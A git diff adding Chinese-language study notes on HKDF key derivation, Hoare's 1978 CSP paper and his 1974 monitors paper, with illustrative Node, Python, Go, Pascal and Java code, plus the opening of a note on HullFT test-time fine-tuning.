+alice.generateKeys(); +bob.generateKeys(); + +const sharedAlice = alice.computeSecret(bob.getPublicKey()); +const sharedBob = bob.computeSecret(alice.getPublicKey()); +if (!sharedAlice.equals(sharedBob)) throw new Error("DH mismatch"); + +// salt:应来自握手 transcript 或随机;此处演示用随机 32 字节 +const salt = randomBytes(32); +const ikm = sharedAlice; // DH 输出 —— 必须经过 Extract + +const encKey = await hkdfAsync("sha256", ikm, salt, "app-v1|aes-256-gcm", 32); +const macKey = await hkdfAsync("sha256", ikm, salt, "app-v1|hmac-sha256", 32); + +console.log("enc:", encKey.toString("hex").slice(0, 16) + "…"); +console.log("mac:", macKey.toString("hex").slice(0, 16) + "…"); +// enc !== mac:info 域分离生效 +``` + +`node:crypto.hkdf` 签名:`hkdf(digest, ikm, salt, info, keylen, callback)`,内部完成 Extract + Expand。浏览器侧等价 API 是 `crypto.subtle.deriveBits({ name: "HKDF", hash: "SHA-256", salt, info }, key, length)`。 + +## 代码示例 3:手动 Expand 循环(读懂 RFC 公式) + +下面 20 行展示 Expand 的「计数器链」本质,便于调试「为什么 L > HashLen 要多次 HMAC」: + +```python +import hmac +import hashlib + +def hkdf_expand_manual(prk: bytes, info: bytes, length: int) -> bytes: + hash_len = hashlib.sha256().digest_size + n = (length + hash_len - 1) // hash_len + t = b"" + okm = b"" + for i in range(1, n + 1): + t = hmac.new(prk, t + info + bytes([i]), hashlib.sha256).digest() + okm += t + return okm[:length] + +# 与 cryptography 库结果应一致 +``` + +当 `L = 82`、`HashLen = 32` 时,`N = ceil(82/32) = 3`,需要三轮 HMAC 才够长。 + +## 常见误区 + +| 误区 | 后果 | 正确做法 | +|------|------|----------| +| 把 DH 共享值直接当 AES 密钥 | 密钥空间不均匀,分析面变大 | 始终 `HKDF-Extract(salt, dh_shared)` | +| 不同用途复用同一 `info` | 密钥相关,可能降格安全性 | 每个用途唯一 `info` 字符串 | +| 用 HKDF 派生「登录密码」密钥 | 无慢哈希,易被字典攻击 | PBKDF2 / Argon2 + 可选 HKDF 二次扩展 | +| `L` 只需 16 字节却省略 `info` | RFC 不推荐;上下文未绑定 | 即使短 key 也走 Expand 并设 `info` | +| salt 由攻击者控制且未认证 | 可能削弱 Extract | salt 来自协议已认证字段或本地随机 | + +## 安全属性(直觉) + +在 HMAC 建模为 PRF 的前提下,HKDF 保证: + +1. **伪随机性**:OKM 在计算上不可与均匀随机区分(给定 IKM/salt/info 的适当独立性假设) +2. **上下文分离**:同一 IKM、不同 `info` → 不同 OKM,且已知其一难以推另一 +3. **保守哈希使用**:只依赖 HMAC 而非裸 Hash 拼接,减轻哈希函数结构攻击面 + +完整证明见 Krawczyk, *Cryptographic Extraction and Key Derivation: The HKDF Scheme*(CRYPTO 2010)。RFC 5869 是工程可落地的规范化描述。 + +## 与其他规范的交叉引用 + +- [[tls-1-3-rfc8446]] — HKDF 最大规模部署场景 +- [[noise-protocol-framework]] — 握手链密钥与 HKDF 同构 +- [[signal-double-ratchet-2016]] — 棘轮链密钥派生 +- [[hmac-rfc2104]] — HKDF 的底层原语(若笔记存在) +- [[wireguard-2017]] — HKDF-BLAKE2s 变体 + +## 小结 + +| 概念 | 一句话 | +|------|--------| +| Extract | `PRK = HMAC(salt, IKM)`,把不均匀 IKM 压成固定长度伪随机密钥 | +| Expand | 计数器链式 HMAC,按 `info` 标签输出任意长度 OKM(≤ 255×HashLen) | +| salt | 非秘密但宜随机;加强 Extract,防跨源混淆 | +| info | 用途绑定;防「同一原料调出同一口味」 | +| 典型用户 | TLS 1.3、Noise、Signal、IKEv2、Web Crypto | + +**零基础记忆口诀**:先**榨**(Extract)成基底,再按**标签**(info)**兑**(Expand)多杯密钥;DH 果汁必须先榨,密码原料别只用 HKDF。 diff --git a/src/content/docs/papers/hoare-csp-1978.md b/src/content/docs/papers/hoare-csp-1978.md new file mode 100644 index 000000000..f5e24db4d --- /dev/null +++ b/src/content/docs/papers/hoare-csp-1978.md @@ -0,0 +1,286 @@ +--- +title: Communicating Sequential Processes — Hoare 1978 零基础学习笔记 +来源: https://www.cs.cmu.edu/~crary/819-f09/Hoare78.pdf +日期: 2026-06-13 +子分类: 类型与 PL 理论 +分类: 编程语言 +provenance: pipeline-v3 +--- + +## 日常类比:接力赛里的传棒,不是抢同一块白板 + +想象一场 **4×100 米接力**。每位选手有自己的跑道和号码布(**局部状态**),**不能**跑到隔壁赛道改别人的成绩。要把接力棒交给下一位,必须 **两人同时伸手在交接区会合**——你举着棒等,对方也得伸手接;任何一方没到,另一方就 **一直等**。棒不会 magically 出现在终点:没有「共享内存里的缓冲区」自动帮你存着。 + +C. A. R. Hoare 在 1978 年发表于 *Communications of the ACM* 的 [Communicating Sequential Processes](https://www.cs.cmu.edu/~crary/819-f09/Hoare78.pdf)(Vol. 21 No. 8,pp. 666–677,DOI [10.1145/359576.359585](https://dl.acm.org/doi/10.1145/359576.359585))主张:并发程序也该这样组织—— + +- **进程(process)** 是只会顺序执行自己指令的「选手」; +- **输入 `?` 与输出 `!`** 是像传棒一样的基本原语; +- **`||` 并行组合** 让多个选手同时跑,但数据只通过 **点名 channel 会合** 流动。 + +论文把 Dijkstra 的 **守卫命令(guarded command)** 搬进来:`*[ 条件 → 动作 ]` 表示循环,多路 `[]` 表示 **谁先满足条件就先执行谁**——天然支持 **非确定性选择**。于是 coroutine、信号量、monitor、有界缓冲区、甚至筛法求素数,都能用 **极小的语法** 拼出来,而不必先发明锁和条件变量。 + +一句话:**别抢共享白板;约好名字,在传棒区会合。** + +## 这篇论文在说什么 + +| 维度 | 内容 | +|------|------| +| 作者 | **C. A. R. Hoare**(Queen's University of Belfast) | +| 发表 | CACM,**1978 年 8 月** | +| 页数 | 约 11 页 | +| 关键词 | 并行编程、输入输出、守卫命令、非确定性、coroutine、monitor、条件临界区 | +| CR 分类 | 4.20, 4.22, 4.32 | +| 直接后继 | occam、Ada task、Erlang、**Go**(channel + `select`)、Rust channel、CSP 代数(Brookes–Hoare–Roscoe 1984) | + +论文的 **激进主张** 有三条: + +1. **I/O 应与赋值、分支同级**,是语言内置原语,而不是 `read()`/`write()` 库函数事后补丁。 +2. **并行组合** `||` 应和顺序组合一样基础,用来 **结构化** 并发,而不是 `fork` + 共享变量 + `pthread_mutex` 大杂烩。 +3. **同步通信(rendezvous)** 默认 **无缓冲**:发送与接收必须 **同时就绪** 才完成一次传递;延迟对进程 **不可见**(像阻塞在 I/O 上一样自然)。 + +1978 版 CSP 是 **静态** 语言:进程个数在源码里固定,**没有** 进程值变量和递归进程(后来 1984 理论论文才系统处理递归与失败语义)。但正因为限制多,论文里的例子 **特别干净**,适合零基础建立并发直觉。 + +## 核心概念 + +### 1. 进程与并行组合 `||` + +一个 CSP 程序由若干 **顺序进程** 组成。语法上,方括号里的进程 **同时开始、并行执行**: + +``` +[ P || Q || R ] +``` + +- 每个进程有 **自己的局部变量**,互不可见。 +- 并行命令 **成功结束** 当且仅当 **所有** 子进程都结束。 +- 语言 **不规定** 各进程相对速度——调度是 **抽象** 的,只保证通信语义。 + +日常类比:三位选手同时起跑,各自跑自己的圈;全队成绩要等 **最慢的那位** 冲线。 + +### 2. 输入 `?` 与输出 `!`(会合通信) + +若进程 `COPY` 要从 `SOURCE` 读、向 `SINK` 写,论文写法类似: + +``` +COPY :: + [ SOURCE?x → SINK!x ] +``` + +读作:`SOURCE` **输出** 一个值时,`COPY` **输入** 到 `x`,再 **输出** 给 `SINK`。关键规则(论文第 2 节): + +| 规则 | 含义 | +|------|------| +| **双向阻塞** | `A!v` 要等 `B?x`(且 `A` 指 `B`、`B` 指 `A`)配对才完成 | +| **无自动缓冲** | 没有隐式队列;慢的一方会让快的一方 **等着** | +| **延迟不可见** | 被阻塞的进程感觉不到「等了多久」,只感觉像一次普通 I/O | +| **按名连接** | 谁和谁通信由 **进程名** 写死在协议里 | + +这就是 **rendezvous(会合)**:传棒区里 **双方同时伸手** 才算一次成功传递。 + +### 3. 守卫命令与重复构造 + +Dijkstra 的守卫命令在 CSP 里承担 **条件、循环、非确定性**: + +``` +< 重复命令 > ::= * [ < 守卫> → < 命令> { [] < 守卫> → < 命令> } ] +< 选择命令 > ::= [ < 守卫> → < 命令> { [] < 守卫> → < 命令> } ] +``` + +- `G → S`:仅当守卫 `G` 为真才执行 `S`。 +- 多个分支用 `[]` 分隔;若 **多个守卫同时为真**,选哪一个 **未规定**(**非确定性**)——实现可以公平,但 **语义不保证**。 +- `*[ ... ]`:重复执行,直到 **所有** 守卫都为假(或输入源终止,见下)。 + +### 4. 输入守卫(input guard) + +CSP 的创新之一:**channel 上有没有人送数据** 本身可以当守卫: + +``` +[ producer?x → 处理 x +[] consumer!y → 送出 y ] +``` + +- 仅当 `producer` **已准备好** 对应 `output` 时,第一条可选; +- 若 **多条输入守卫** 同时就绪,**任选一条**(又是非确定性); +- 在 `*[ ... ]` 里,若某输入守卫的 **源进程已终止**,该守卫永久为假;**所有** 输入守卫的源都终止时,整个重复命令 **结束**。 + +这让 **有界缓冲区、服务器、多路复用** 不需要显式 `mutex`:「等生产者」和「等消费者」是 **两条守卫**,谁先来服务谁。 + +### 5. 与共享内存模型的对比 + +| 维度 | 共享内存 + 锁 | CSP(1978) | +|------|----------------|-------------| +| 数据交换 | 读写同一地址 | 仅 `!` / `?` | +| 同步 | 锁、条件变量、信号量 | 会合本身即同步 | +| 典型 bug | 数据竞争、死锁、忘记解锁 | 协议死锁(环形等待 channel) | +| 组合方式 | 线程 + 全局堆 | 进程网络 + 命名 channel | + +Hoare 并非否认 monitor(他自己 1974 年刚发表过 [Monitors](/papers/hoare-monitors-1974)),而是证明:**用通信 + 守卫就能表达 monitor 能表达的一大类结构**,且推理时 **不必追踪整个堆上的别名**。 + +### 6. 静态进程网络 + +1978 论文里的程序 **进程名与拓扑在编译期固定**。好处: + +- 易于在 **单机上用调度器模拟**,也可映射到 **多处理器 + 物理链路**; +- 便于 **人工验证** 协议(后来发展成 CSP 代数与 model checker FDR)。 + +代价:不能 `spawn` 任意多个 worker——那是后来 **π-演算(Milner)** 和 **带递归的 CSP** 要解决的问题。 + +## 代码示例 + +### 示例 1:COPY — 论文中最小的管道 + +**CSP 伪代码**(对应论文 copy process): + +``` +COPY :: + *[ SOURCE?x → SINK!x ] +``` + +**Go 等价实现**(channel 即命名会合点): + +```go +package main + +import "fmt" + +func copyProcess(source <-chan int, sink chan<- int) { + for x := range source { // 等价于 * [ source?x → ... ] + sink <- x // sink!x;无缓冲时与对端同时就绪才完成 + } +} + +func main() { + source := make(chan int) // 无缓冲 channel ≈ CSP 会合 + sink := make(chan int) + go func() { + for _, v := range []int{1, 2, 3} { + source <- v + } + close(source) + }() + go copyProcess(source, sink) + for v := range sink { + fmt.Println(v) + } +} +``` + +要点:`source <- v` 与 `x := range source` 构成 **双向阻塞**;`copyProcess` 里没有锁,只有 **「有输入才转发」** 的协议。 + +### 示例 2:有界缓冲区 — 用输入守卫代替条件变量 + +论文用 **一个进程** 持环形缓冲,两个守卫分别服务生产者与消费者(容量 `N`): + +``` +BUFFER :: + [ buf: (0..N-1) integer; in, out: integer; + in := 0; out := 0; + *[ in < out + N; producer?buf[in mod N] → in := in + 1 + [] out < in; consumer!buf[out mod N] → out := out + 1 + ] + ] +``` + +**Python + 伪同步**(用 `queue.Queue(maxsize=N)` 展示 **背压**:满则生产者阻塞,空则消费者阻塞——语义上接近 CSP 无缓冲会合链,只是标准库在底层用了锁): + +```python +from queue import Queue +from threading import Thread + +def producer(q: Queue, items): + for x in items: + q.put(x) # 队列满时阻塞 ≈ consumer 未就绪,producer! 无法完成 + +def consumer(q: Queue): + while True: + x = q.get() # 队列空时阻塞 ≈ producer 未就绪 + print("got", x) + q.task_done() + +def main(): + q = Queue(maxsize=3) # N = 3 + Thread(target=producer, args=(q, range(10))).start() + Thread(target=consumer, args=(q,)).start() + +if __name__ == "__main__": + main() +``` + +CSP 版本 **没有** `Queue` 对象在进程外:缓冲索引 `in`/`out` 是 **BUFFER 进程的内部变量**,生产者、消费者是 **别的进程**,只通过 `producer?` / `consumer!` 与 BUFFER **会合**。对比可见:CSP 把「队列 + 两个条件变量」压成 **一个事件循环 + 两个输入守卫**。 + +### 示例 3:守卫选择 — 多路 `select` + +论文语法: + +``` +[ clock?tick → 处理超时 +[] worker?job → 处理任务 +] +``` + +**Go 的 `select`** 几乎一一对应(且常用来避免 goroutine 泄漏): + +```go +select { +case <-clock: + handleTimeout() +case job := <-worker: + handleJob(job) +} +``` + +若 `clock` 与 `worker` **同时就绪**,Go **伪随机** 选一个——与 CSP **非确定性** 语义一致:你不能假设公平性,除非自己写额外协议。 + +## 论文中的经典构造(读懂目录就懂一半历史) + +| 构造 | CSP 思路 | 你或许见过 | +|------|----------|------------| +| **Coroutine** | 两个进程互相 `?`/`!` 交替 | Python `yield` 协作(概念相近) | +| **Subroutine** | 调用方 `!` 参数、被调方 `?` 后再 `!` 结果 | 远程过程调用的极简版 | +| **Bounded buffer** | 单进程 + 双输入守卫 | Java `BlockingQueue` | +| **Monitor** | 入口进程 + 内部状态进程 | Java `synchronized` | +| **Sieve of Eratosthenes** | 筛子链:每个素数一个进程,倍数过滤 | Go 并发教程常举 | +| **Conditional critical region** | 用守卫表达「仅当条件成立才进临界区」 | 后来较少直接用,思想进了 monitor | + +**筛法** 特别能体现 CSP 风味:每个筛子进程从左边读整数,若通过素数测试就 **向右传递**,否则丢弃;新素数 **spawn 新筛子** 在 1978 静态语法里要预先展开,但 **管道拓扑** 的思想影响深远。 + +## 实现与语义上要注意的坑 + +1. **死锁**:进程环 `A! → B? → B! → C? → C! → A?` 若缓冲为零且顺序不对,全体永久阻塞——与死锁四条件类似,但 **只从 channel 协议** 就能分析。 +2. **非确定性**:多个就绪守卫时 **不要写依赖调度顺序** 的正确性;需要确定性时加 **额外握手或优先级协议**。 +3. **无缓冲的代价**:每次传递都同步,吞吐可能低;工程上常加 **有界缓冲 channel**(Go 带容量 channel、Erlang mailbox 上限)——那是 **实现优化**,1978 语义层仍用会合理解。 +4. **与 π-演算的区别**:CSP 早期 **channel 名静态**;π 演算允许 **传递 channel 名本身**,适合移动进程与动态拓扑。 +5. **与 Actor 的区别**:Actor 典型是 **异步邮箱**(发完就走);CSP 默认 **同步会合**(发者等收者)。语义和可推理性都不同。 + +## 历史影响(为什么 1978 仍值得读) + +- **Go**(Rob Pike 等)把 slogan 写在官网上:*Don't communicate by sharing memory; share memory by communicating*——几乎是这篇论文的脚注。 +- **occam**(INMOS Transputer)把 CSP 做成 **可运行语言**,`PAR`/`ALT` 关键字影响一代嵌入式并发。 +- **Ada task** 的 rendezvous 直接标注受 CSP 启发。 +- **Erlang**「进程 + 消息」与 CSP **精神亲缘**(虽异步为主)。 +- **CSP/FDR、Promela/SPIN** 等验证工具,把 **进程代数** 用于工业级协议检查。 +- **C.A.R. Hoare** 本人因程序设计语言与形式方法的工作获 **1980 年图灵奖**;CSP 是其中 **最常被引用的并发模型之一**。 + +若你只读过共享内存多线程,读 1978 CSP 会像 **换了一副眼镜**:并发不再是「防止别人踩我的变量」,而是 **设计传棒协议**。 + +## 延伸阅读 + +| 资源 | 说明 | +|------|------| +| [Hoare 1978 PDF](https://www.cs.cmu.edu/~crary/819-f09/Hoare78.pdf) | 原文,含完整语法与习题解答 | +| [Brookes, Hoare, Roscoe 1984 — A Theory of CSP](https://dl.acm.org/doi/10.1145/828.833) | 失败集合、递归、隐藏运算符的数学基础 | +| [PRG-14 CSP 教程 (Oxford)](https://www.cs.ox.ac.uk/files/3236/PRG14.pdf) | 逐章对照 Algol 60 的入门讲义 | +| 本库 [CSP 速记](/papers/csp-hoare-1978) | 更短的姊妹篇 | +| 本库 [Monitors Hoare 1974](/papers/hoare-monitors-1974) | 共享内存路线对照 | +| [The Go Programming Language — Concurrency](https://go.dev/blog/codelab-share) | 现代 channel 实践 | + +## 自测题 + +1. 为什么 CSP 说 **无自动缓冲**?若强行加无限缓冲,会合语义会丢什么? +2. 写出两条输入守卫同时就绪时,CSP 允许实现做什么?对程序员意味着什么? +3. 用 `?`/`!` 描述「函数调用」:调用方如何传参、如何拿回返回值? +4. Go 带缓冲 `make(chan int, 10)` 与 1978 CSP 的差别在哪里?仍能用会合直觉理解吗? +5. 有界缓冲区 CSP 版为何不需要 `wait`/`signal`? + +--- + +*学习路径建议:先读本文建立传棒直觉 → 读原文 Section 3–5 看语法 → 用 Go channel 写 COPY 与 worker pool → 再读 1984 理论论文理解 failures/divergence。* diff --git a/src/content/docs/papers/hoare-monitors-1974.md b/src/content/docs/papers/hoare-monitors-1974.md new file mode 100644 index 000000000..9955d0520 --- /dev/null +++ b/src/content/docs/papers/hoare-monitors-1974.md @@ -0,0 +1,270 @@ +--- +title: Monitors — Hoare 1974 操作系统结构化概念(零基础学习笔记) +来源: https://en.wikipedia.org/wiki/Monitor_(synchronization) +日期: 2026-06-13 +分类: 操作系统 +子分类: 内核与虚拟化 +provenance: pipeline-v3 +--- + +## 日常类比:银行 VIP 室,不是抢号机 + +想象一家银行里有一间 **VIP 洽谈室**(monitor),里面放着一本 **共享账本**(monitor 的局部数据)和一位 **客户经理**(monitor 里的过程/方法)。 + +规则很简单: + +1. **同一时间只允许一位客户进门办事**——这就是 **互斥(mutual exclusion)**。 +2. 客户进门后可以说:「我要换 100 美元,但金库暂时没现钞。」客户经理不会让客户在柜台前干瞪眼占着位子(那叫 **忙等 / spin-wait**,浪费大家时间),而是让客户 **到等候区坐下**(`wait`),并 **把 VIP 室钥匙让出来**,让下一位客户进来 **释放资源或改变状态**。 +3. 当金库补好了,正在办事的客户或经理喊一声:「现钞有了!」(`signal`),等候区里 **恰好一位** 客户被叫回洽谈室继续办业务。 + +Hoare 在 1974 年发表的 [Monitors: An Operating System Structuring Concept](https://dl.acm.org/doi/10.1145/355620.361161)(*Communications of the ACM*,Vol. 17 No. 10,pp. 549–557)要做的,就是把这种「**数据 + 操作 + 互斥 + 有条件地睡觉与叫醒**」打包成操作系统里 **结构化并发** 的基本模块。论文在 Per Brinch Hansen 提出 monitor 雏形的基础上,形式化了 **条件变量(condition variable)** 上的 `wait` / `signal`,给出了 **基于信号量的实现思路** 和 **霍尔式证明规则**,并用有界缓冲区、闹钟、磁盘调度、读者写者等经典问题示范。 + +一句话:**monitor 不是又一种锁,而是「把共享状态和它该遵守的规则锁在同一个房间里」的架构手法。** + +## 这篇论文在说什么 + +| 维度 | 内容 | +|------|------| +| 作者 | **C. A. R. Hoare**(当时 Queen's University of Belfast) | +| 发表 | CACM,**1974 年 10 月** | +| DOI | [10.1145/355620.361161](https://dl.acm.org/doi/10.1145/355620.361161) | +| 前驱 | Brinch Hansen 的 monitor 与 **Concurrent Pascal** | +| 后继影响 | Modula、C# `lock`、Java `synchronized` + `wait`/`notify`、POSIX `pthread_mutex` + `pthread_cond` | +| CR 分类 | 4.31, 4.22(操作系统、并发) | + +论文要解决的核心痛点:早期多道程序用 **临界区散落各处**(Dijkstra 的 critical region 思想)或裸 **信号量**,程序员容易写出 **时间依赖 bug**——代码「偶尔能跑」取决于调度顺序。Hoare 主张:**把「保护谁」和「在什么条件下等待」写进一个文本上相邻的模块**,让不变量(invariant)可见、可证。 + +## 核心概念 + +### 1. Monitor 的组成 + +一个 monitor 包含: + +| 部分 | 作用 | +|------|------| +| **局部变量** | 描述资源状态(如「空闲缓冲区个数」「磁盘头方向」) | +| **过程(entries)** | 外界唯一能合法改动这些变量的入口 | +| **互斥** | 任意时刻 **最多一个** 线程在执行 monitor 内代码 | +| **条件变量** | 多种「等不及了」的原因分开排队 | + +调用 monitor 过程 ≈ 先拿锁进门,办完出门放锁。过程 **不应读写 monitor 外的全局变量**(否则又回到时间依赖泥潭)。 + +### 2. 不变量 I(monitor invariant) + +程序员为 monitor 关联断言 **I**:当 **没有线程在 monitor 内执行** 时,I 必须为真。 + +例如有界缓冲区 monitor 里,若 `count` 是当前元素个数、`N` 是容量,则: + +\[ +0 \le count \le N +\] + +每次 `wait` 或 `signal` **之前**,当前线程必须重新建立 I;`wait` 会暂时离开 monitor,因此 **离开前 I 必须成立**,否则别的线程进门看到烂状态。 + +### 3. wait 与 signal(Hoare 语义) + +对条件变量 `b`,程序员关联断言 **B**(「我等的就是 B 为真」)。 + +**wait(b)**(在 monitor 过程内调用): + +1. 断言 **I ∧ B** 已成立; +2. 调用者 **阻塞** 并进入 `b` 的等待队列; +3. **释放 monitor 互斥**,让其他线程能 `signal` 或调用别的过程。 + +**signal(b)**: + +1. 调用前须保证 **I ∧ B**(你要叫醒的人等的就是 B); +2. 若 `b` 上有人等,**立刻** 唤醒其中一个(Hoare 原论文:**被唤醒者优先**,signal 方暂停,把 monitor 占有权交给被唤醒者); +3. 若无人等,`signal` **空操作**。 + +这与后来 Mesa/Java 常用的语义不同:Mesa 里 `signal` 后 **唤醒者只是「有资格竞争锁」**,醒来后要 **while 重查条件**(spurious wakeup)。学 Hoare 论文时务必分清 **Hoare semantics vs Mesa semantics**。 + +### 4. 霍尔证明规则(论文亮点) + +论文给出对称的公理化规则,便于用 **谓词演算** 推理 monitor 正确性: + +| 操作 | 前置条件 | 后置条件 | +|------|----------|----------| +| `b.wait` | **I ∧ B** | (线程离开 monitor,I 已恢复) | +| `b.signal` | **I ∧ B** | **I**(B 可能被唤醒者改假,故只保留 I) | + +记忆口诀:**wait 带着「不变量 + 我等什么」进去睡;signal 带着「不变量 + 条件已真」去叫人,叫完只敢保证不变量还在。** + +### 5. 优先级 wait(scheduled wait) + +FCFS 不够用时(如 **闹钟**:谁该先响取决于「期望唤醒时刻」),Hoare 引入带优先级参数的 wait,例如 `busy.wait(p)`:`signal` 时唤醒 **p 最小** 的等待者。论文用 **alarm clock monitor** 示范——操作系统里「到点叫醒进程」的雏形。 + +### 6. 与信号量的关系 + +论文说明 monitor **可用二元信号量实现**,与 P/V 操作 **表达能力等价**;但 monitor 在 **源码结构** 上更利于人类推理和操作系统分层(每个资源一类 monitor:缓冲区、磁盘、打印机…)。 + +```mermaid +flowchart TB + subgraph Monitor["Monitor(VIP 洽谈室)"] + Data["局部数据 + 不变量 I"] + end + P1["线程调用 entry"] --> Mutex["获取互斥"] + Mutex --> Data + Data --> Cond{"条件 B 满足?"} + Cond -->|否| Wait["wait(b):释放互斥并睡眠"] + Wait --> Queue["条件 b 等待队列"] + Signal["其他线程 signal(b)"] --> Queue + Queue --> Resume["被唤醒,重新占有 monitor"] + Cond -->|是| Work["执行临界操作"] + Resume --> Work + Work --> Exit["释放互斥,离开 monitor"] +``` + +## 代码示例 1:单资源调度(acquire / release) + +最简单的 monitor 像 **二元信号量**:资源空闲与否用布尔变量 `busy` 表示。 + +```pascal +monitor ResourceScheduler; + var busy: boolean; + + procedure acquire; + begin + if busy then + wait(busy); { 等「资源空闲」条件;论文里条件名与断言关联 } + busy := true; + end; + + procedure release; + begin + busy := false; + signal(busy); { 叫醒一位等资源的线程 } + end; + +begin { monitor 初始化 } + busy := false; +end; +``` + +使用前:`busy = false` ⇒ **I** 成立(资源可用状态一致)。`acquire` 在 `busy` 为真时 wait;`release` 置 `busy := false` 并 signal。注意:**if busy then wait** 在 Hoare 论文风格里常见;现代写法更倾向 **`while not B do wait(b)`**(Mesa),防止虚假唤醒。 + +## 代码示例 2:有界缓冲区(生产者—消费者) + +论文用 **bounded buffer** 展示 **多个条件变量** 共用一个 monitor:生产者等「非满」,消费者等「非空」。 + +```pascal +monitor BoundedBuffer; + const N = 10; + var buffer: array[1..N] of Item; + count, in, out: integer; + notFull, notEmpty: condition; + + procedure put(x: Item); + begin + if count = N then + wait(notFull); { B: count < N } + buffer[in] := x; + in := in mod N + 1; + count := count + 1; + signal(notEmpty); { 可能唤醒等数据的消费者 } + end; + + procedure get(var x: Item); + begin + if count = 0 then + wait(notEmpty); { B: count > 0 } + x := buffer[out]; + out := out mod N + 1; + count := count - 1; + signal(notFull); { 可能唤醒等空位的生产者 } + end; + +begin + count := 0; in := 1; out := 1; +end; +``` + +**不变量 I**:`0 ≤ count ≤ N`,且 `in`、`out` 在环形数组语义下一致。`put` 在满时等 `notFull`;`get` 在空时等 `notEmpty`——**两种「睡不着」的原因分开排队**,比用一个条件变量 + 复杂判断清晰得多。 + +## 代码示例 3:Java 里的 monitor 后裔(对比阅读) + +Java 每个对象自带一把锁;`synchronized` 方法 ≈ monitor entry,`wait`/`notify` ≈ 条件变量(实际是 **Mesa 语义**): + +```java +class BoundedBuffer { + private final Object[] buf = new Object[10]; + private int count, in, out; + + public synchronized void put(Object x) throws InterruptedException { + while (count == buf.length) // Mesa:必须用 while 重查 + wait(); + buf[in] = x; + in = (in + 1) % buf.length; + count++; + notifyAll(); // 唤醒可能等在 notEmpty 上的消费者 + } + + public synchronized Object get() throws InterruptedException { + while (count == 0) + wait(); + Object x = buf[out]; + out = (out + 1) % buf.length; + count--; + notifyAll(); + return x; + } +} +``` + +`wait()` 释放 **this** 上的监视器锁;`notify` 不保证立即把 CPU 交给被唤醒线程——这是学 Hoare 1974 后读 Java 源码时最常踩的 **语义落差**。 + +## 论文中的其他示范(知道名字即可) + +| 例子 | 说明 | +|------|------| +| **Alarm clock** | 按唤醒时间优先级排队;tick 过程周期性 signal | +| **Buffer pool** | 比简单有界缓冲更复杂的消息块分配 | +| **Disk head optimizer** | 减少磁头换向;展示 monitor 组织 I/O 策略 | +| **Readers / writers** | 「公平」读者写者版本;说明 monitor 也能表达复杂调度策略 | + +这些例子共同说明:Hoare 关心的不只是「互斥」,而是 **把操作系统里一类资源的策略封装成可验证模块**。 + +## 常见误区 + +| 误区 | 正解 | +|------|------| +| 「有 `mutex` 就够了」 | 还需要 **条件变量** 表达「等某个谓词为真」,否则只能忙等或复杂轮询 | +| `signal` 之后条件一定仍真 | 被唤醒者往往要 **重新检查 B**;signal 方只保证调用瞬间 **I ∧ B** | +| monitor 自动防死锁 | **不防**。多 monitor、锁顺序错误仍会死锁;论文明确这是程序员责任 | +| Hoare 与 Mesa 一样 | Java/pthread 多为 Mesa;教材画 Hoare 优先唤醒图时要分清 | +| monitor 已过时 | 思想活在 **Rust `Mutex` + `Condvar`**、`std::sync`、Go 里 channel 背后的设计讨论中 | + +## 与前后文献的关系 + +```text +Dijkstra (1965) 信号量 + ↓ +Brinch Hansen (1970s) monitor 雏形 + Concurrent Pascal + ↓ +Hoare (1974) 本文 — 条件变量、证明规则、OS 结构化 + ↓ +Mesa/Cedar (1980) signal 语义调整 → 影响 Java + ↓ +现代:pthread、C++、Rust、C# lock + Monitor 类 +``` + +同一时期的 **Lamport (1974)** 面包店算法、**Coffman (1971)** 死锁条件等,与 monitor 一起构成操作系统并发课的「经典三角」。 + +## 读懂论文的抓手 + +1. **先画不变量 I**:monitor 外(无人 inside)什么必须为真? +2. **每个条件变量写清 B**:`notFull` ⇔ `count < N`,`notEmpty` ⇔ `count > 0`。 +3. **标出 wait 前是否已建立 I∧B**;signal 前是否已让 B 对等待者成立。 +4. **问自己用的是 Hoare 还是 Mesa**:实现不同,伪代码里的 `if` vs `while` 就不同。 + +## 延伸阅读 + +- 原文 PDF:[Hoare, CACM 1974](https://dl.acm.org/doi/10.1145/355620.361161)(机构订阅);技术报告 [Stanford CS-TR-73-401](http://i.stanford.edu/pub/cstr/reports/cs/tr/73/401/CS-TR-73-401.pdf) +- 概念综述:[Wikipedia — Monitor (synchronization)](https://en.wikipedia.org/wiki/Monitor_(synchronization)) +- Brinch Hansen, *The Architecture of Concurrent Programs* (1977) — monitor 在语言里的落地 +- Hoare, *Communicating Sequential Processes* (CSP, 1978) — 另一条并发哲学路线 +- Andrews & Schneider, *Concepts and Notations for Concurrent Programming* (1983) — 统一 monitor / message / remote procedure 术语 + +## 小结 + +Hoare 1974 把 **「共享数据 + 互斥入口 + 条件等待」** 从操作系统黑客经验提炼成 **可证明的结构化原语**。你不必手写 Pascal monitor 才能在工程里受益:理解 **不变量、条件变量、wait/signal 契约**,就能读懂今天代码里的 `synchronized`、`pthread_cond_wait`、以及为什么 **「先改状态再 signal」** 几乎是并发模块的默认纪律。这篇论文的价值,在于它教会我们 **把并发控制当成模块设计问题,而不是到处打补丁的锁补丁。** diff --git a/src/content/docs/papers/hullft-ttft.md b/src/content/docs/papers/hullft-ttft.md new file mode 100644 index 000000000..75567f176 --- /dev/null +++ b/src/content/docs/papers/hullft-ttft.md @@ -0,0 +1,340 @@ +--- +title: HullFT — 用凸包重建与梯度缓存做高效测试时微调 +来源: https://arxiv.org/abs/2605.30337 +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:考前突击,但时间只够翻几页 + +想象你明天要考「公司财务分析」,手里有一本 500 页的教材,而今晚只剩 **30 分钟**。 + +- **笨办法(纯 kNN 检索)**:按目录找「最像考题」的 20 页,结果 15 页都在讲同一章「利润表」——信息重复,翻页时间全浪费了。 +- **聪明但慢的办法(SIFT 等多样性选择)**:每加一页都仔细算「还能带来多少新信息」,选得准,但**选题本身**就要花很久。 +- **HullFT 的思路**:把考题想象成 embedding 空间里的一个**目标点** $q$,教材段落是周围的**向量点**。你要找少数几段文字,让它们的**加权平均位置**尽量靠近 $q$——就像用几根不同方向的绳子拉住一块靶心。方向相近的段落自然**权重变低**(冗余被几何结构压下去),方向不同的段落会被拉进来(多样性自动出现)。选好之后,再把「0.37 份 A + 0.21 份 B + …」**整数化**成「A 出现 7 次、B 出现 4 次…」共恰好 $N$ 条训练样本;同一段重复出现时,**梯度不用每次都重算**,像复印机印同一份讲义,改一次笔记就够接下来几次复习用。 + +类比总结: + +| 日常 | 传统 TTFT | HullFT | +|------|----------|--------| +| 考前翻书 | 每个 prompt 检索 + 微调 | 同样流程,但两步都加速 | +| 重复章节浪费时间 | kNN top-$N$ 